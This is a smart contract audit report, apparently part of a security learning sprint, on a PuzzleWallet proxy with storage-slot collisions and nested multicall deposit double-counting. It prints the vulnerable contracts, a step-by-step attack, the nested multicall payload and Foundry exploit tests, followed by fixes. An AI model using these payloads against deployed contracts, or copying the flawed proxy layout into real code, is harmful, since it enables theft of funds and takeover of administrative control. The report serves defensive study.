

Security Audit Report: PuzzleWallet

ProjectPuzzleWallet

Repository<https://github.com/molalign8468/30day-security-sprint>

Commit Hash.....51c34c13226d46b61762057db4aa43edb0f74849

Audit DateJune 08 , 2026

Auditor Molalign Getahun

Executive Summary

Status: **CRITICAL SEVERITY**

The PuzzleWallet contract contains a Critical-severity privilege escalation and fund-draining vulnerability due to by the combination of **proxy storage collisions** and **nested multicall msg.value reuse**.

The proxy and implementation contracts define different state variables at identical storage slots. Due to the use of delegatecall, an attacker can overwrite critical wallet permissions by modifying proxy storage, allowing unauthorized acquisition of the wallet owner role.

Once ownership is obtained, the attacker can whitelist themselves and exploit the vulnerable multicall implementation. By nesting multicall invocations, the attacker bypasses the intended single-deposit restriction and causes the same msg.value to be counted multiple times. This inflates the attacker's internal balance beyond the actual ETH deposited into the contract.

The inflated balance can then be withdrawn, resulting in theft of protocol funds. After draining the contract balance, the attacker can exploit a second storage collision to overwrite the proxy administrator address and gain permanent administrative control of the system. The contract is unsafe for mainnet deployment in its current state. Immediate remediation is required before any production use.

Severity	Count	Status
Critical	1	Unresolved
High	0	-
Medium	0	-
Low	0	-
Informational	0	-

Scope & Methodology

Scope

File	Type	Logic
PuzzleProxy.sol	Smart Contract	proposeNewAdmin(),fallback() and receive()
PuzzleWallet.sol	Smart Contract	init(),addToWhitelist(),deposit(),multicall(),execute() and setMaxBalance()

Methodology:

- ✓ Manual code review
- ✓ Threat modeling
- ✓ Pattern Analysis (SWC-112: Delegatecall to Untrusted Callee + SWC-124: Write to Arbitrary Storage Location + CWE-269: Improper Privilege Management + Business Logic Vulnerabilitys)
- ✓ Foundry-based exploit testing

Severity Rating

Severity	Description
Critical	Full fund loss or protocol takeover
High	Significant fund risk
Medium	Logic or trust issues
Low	Minor risk
Informational	Best practices

Findings Summary

ID	Severity	Title
CRIT-01	CRITICAL	Storage Collision and Nested Multicall Value Reuse

Detailed Findings

[CRIT-01] Storage Collision and Nested Multicall Value Reuse

Severity: Critical

Location: PuzzleProxy.sol:L5–L48 and PuzzleWallet.sol:L5-L84

Reference: [SWC-124 - Smart Contract Weakness Classification \(SWC\)](#) + [SWC-112 - Smart Contract Weakness Classification \(SWC\)](#) + Business Logic Vulnerabilitys

Description

The proxy contract and wallet implementation define different state variables at identical storage slots:

// PuzzleProxy

```
address public pendingAdmin; // slot 0
address public admin;        // slot 1
```

```
// PuzzleWallet
```

```
address public owner;    // slot 0
uint256 public maxBalance; // slot 1
```

The proxy forwards calls to the wallet implementation using `delegatecall`, causing the wallet logic to operate directly on the proxy's storage. As a result, modifying the proxy's `pendingAdmin` variable overwrites the wallet's `owner` variable, while modifying the wallet's `maxBalance` variable overwrites the proxy's `admin` variable.

```
function proposeNewAdmin(address _newAdmin) external {
    pendingAdmin = _newAdmin;
}
```

Because `pendingAdmin` and `owner` occupy the same storage slot, an attacker can call:

```
puzzleProxy.proposeNewAdmin(attacker);
```

and become the wallet owner without authorization.

After obtaining ownership, the attacker can whitelist themselves and interact with the wallet's multicall functionality.

The multicall implementation attempts to prevent multiple deposits within a single execution by using a local `depositCalled` flag:

```
bytes4 selector;

assembly {
    selector := calldataload(
        add(data.offset, mul(i, 0x20))
    )
}

if (selector == this.deposit.selector) {
    require(
        !depositCalled,
        "deposit once"
    );

    depositCalled = true;
}
```

However, the protection can be bypassed through nested multicall execution because each multicall invocation creates a new execution context with a fresh `depositCalled` variable.

Furthermore, multicall executes user-supplied calldata through delegatecall:

```
(bool ok,) =address(this).delegatecall(data[i]);
```

Since delegatecall preserves the original msg.value, each nested deposit call observes the same transaction value.

An attacker can therefore execute:

```
bytes[] memory inner = new bytes[](1);
inner[0] =abi.encodeWithSignature("deposit()");

bytes[] memory outer = new bytes[](2);
outer[0] =abi.encodeWithSignature("deposit()");
outer[1] =abi.encodeWithSignature("multicall(bytes[])",inner);

wallet.multicall{value: 1 ether}(outer);
```

while supplying ETH only once.

As a result, the wallet credits the attacker multiple times for the same ETH deposit, causing the internal accounting balance to exceed the actual ETH held by the contract.

The attack steps:

- ✦ **Step 1:** The attacker calls proposeNewAdmin(attacker) and overwrites the wallet owner through a storage collision.
- ✦ **Step 2:** The attacker calls addToWhitelist(attacker) and gains access to privileged wallet functionality.
- ✦ **Step 3:** The attacker submits a nested multicall payload containing multiple deposit operations.
- ✦ **Step 4:** Each nested deposit executes through delegatecall and observes the same original msg.value.
- ✦ **Step 5:** The wallet credits the attacker multiple times while receiving ETH only once.
- ✦ **Step 6:** The attacker withdraws the inflated balance through the wallet's execution mechanism.
- ✦ **Step 7:** After draining the contract balance, the attacker calls setMaxBalance(uint256(uint160(attacker))).
- ✦ **Step 8:** The storage collision between maxBalance and admin overwrites the proxy administrator address.

Consequently, an unprivileged attacker can obtain wallet ownership, inflate their recorded balance, withdraw funds exceeding their actual deposits, drain protocol assets, and permanently seize administrative control of the proxy contract.

Impact

- ✓ **Unauthorized Fund Withdrawal:** The attacker can withdraw more ETH than actually deposited, resulting in theft of protocol funds.
- ✓ **Complete Protocol Compromise:** The combined vulnerabilities enable full compromise of both user funds and protocol governance.
- ✓ **Balance Inflation:** The same ETH deposit can be counted multiple times, allowing the attacker to artificially increase their recorded balance.

Risk Evaluation

- ✓ **Impact:** Critical. An attacker can obtain unauthorized ownership, inflate internal balances, drain protocol funds, and permanently seize administrative control.
- ✓ **Likelihood:** High. The attack requires no privileged access and can be executed through publicly accessible functions.
- ✓ **Overall Severity:** High.

Proof of Concept

Vulnerable PuzzleProxy Contract

```
contract PuzzleProxy {
    address public pendingAdmin; // slot 0
    address public admin;        // slot 1

    address public implementation;

    constructor(address _implementation) {
        implementation = _implementation;
        admin = msg.sender;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    fallback() external payable {
        address impl = implementation;

        assembly {
            calldatacopy(0, 0, calldatasize())

            let result := delegatecall(
                gas(),
                impl,
                0,
                calldatasize(),
                0,
                0
            )

            returndatacopy(0, 0, returndatasize())
        }
    }
}
```

```

    switch result
    case 0 {
        revert(0, returndatasize())
    }
    default {
        return(0, returndatasize())
    }
}

receive() external payable {}
}

```

PuzzleWallet Contract

```

contract PuzzleWallet {
    address public owner;    // slot 0
    uint256 public maxBalance; // slot 1

    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) external {
        require(owner == address(0));

        owner = msg.sender;
        maxBalance = _maxBalance;
    }

    modifier onlyWhitelisted() {
        require(whitelisted[msg.sender], "not whitelisted");
        _;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    function addToWhitelist(address user) external onlyOwner {
        whitelisted[user] = true;
    }

    function deposit() external payable onlyWhitelisted {

```

```

    balances[msg.sender] += msg.value;
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled;

    for (uint256 i; i < data.length; i++) {

        bytes4 selector;

        assembly {
            selector := calldataload(
                add(data.offset, mul(i, 0x20))
            )
        }

        if (selector == this.deposit.selector) {
            require(
                !depositCalled,
                "deposit once"
            );

            depositCalled = true;
        }

        (bool ok,) =
            address(this).delegatecall(
                data[i]
            );

        require(ok);
    }
}

function execute( address to, uint256 value, bytes calldata data) external onlyWhitelisted {
    require(
        balances[msg.sender] >= value
    );

    balances[msg.sender] -= value;

    (bool ok,) = to.call{value:value}(data);
}

```



```

    require(ok);
}

function setMaxBalance( uint256 _maxBalance ) external onlyWhitelisted {
    require(
        address(this).balance == 0
    );

    maxBalance = _maxBalance;
}
}

```

Exploit Test

```

contract PuzzleWalletTest is Test {

    PuzzleWallet puzzleWallet;
    PuzzleProxy puzzleProxy;
    IPuzzleWallet wallet;
    address attacker = address(0xCDEF);

    function setUp() external {
        puzzleWallet = new PuzzleWallet();
        puzzleProxy = new PuzzleProxy(address(puzzleWallet));
        wallet = IPuzzleWallet(address(puzzleProxy));
        vm.deal(attacker,2 ether);
        wallet.init(100 ether);
    }

    function test_storage_collision() external {
        puzzleProxy.proposeNewAdmin(attacker);
        assertEq(wallet.owner(),attacker);
    }

    function test_multicall_double_counts_deposits() external {
        puzzleProxy.proposeNewAdmin(attacker);
        assertEq(wallet.owner(),attacker);

        vm.startPrank(attacker);
        wallet.addToWhitelist(attacker);
        assertTrue(wallet.whitelisted(attacker));
    }
}

```

```

bytes[] memory inner = new bytes[](1);
inner[0] =abi.encodeWithSignature("deposit()");

bytes[] memory outer = new bytes[](2);
outer[0] =abi.encodeWithSignature("deposit()");
outer[1] =abi.encodeWithSignature("multicall(bytes[])",inner);

wallet.multicall{value: 1 ether}(outer);

vm.stopPrank();

assertEq(address(puzzleProxy).balance,1 ether);
assertEq(wallet.balances(attacker),2 ether);
}

function testMaxBalanceAdminCollision() external {
    puzzleProxy.proposeNewAdmin(attacker);
    vm.startPrank(attacker);

    wallet.addToWhitelist(attacker);
    assertEq(address(puzzleProxy).balance,0);

    wallet.setMaxBalance(uint256(uint160(attacker)));

    vm.stopPrank();
    assertEq(puzzleProxy.admin(),attacker);
}
}

```

Recommendations

- ✓ **Separate Proxy and Implementation Storage:** Adopt a standardized proxy storage layout (EIP-1967) to prevent storage slot collisions between proxy and implementation contracts.

```

✓ bytes32 internal constant ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
✓ bytes32 internal constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

```

- ✓ **Avoid executing multicall operations using delegatecall:** Using `call()` creates a new execution context and prevents repeated reuse of the original `msg.value`.

- ✓ (bool success,) = address(this).call(data[i]);
- ✓ require(success, "call failed");
- ✓ **Block Recursive Multicalls:** Prevent users from invoking multicall from inside another multicall.

```
modifier nonRecursiveMulticall() {
    require(!_entered, "nested multicall");
    _entered = true;
    _; _entered = false;
}

bool private _entered;

function multicall( bytes[] calldata data ) external payable nonRecursiveMulticall {
    for (uint256 i; i < data.length; i++) {
        (bool success,) = address(this).call(data[i]);
        require(success, "call failed");
    }
}
```

Conclusion

Deployment should not proceed until the issue is fixed and the contract is re-audited.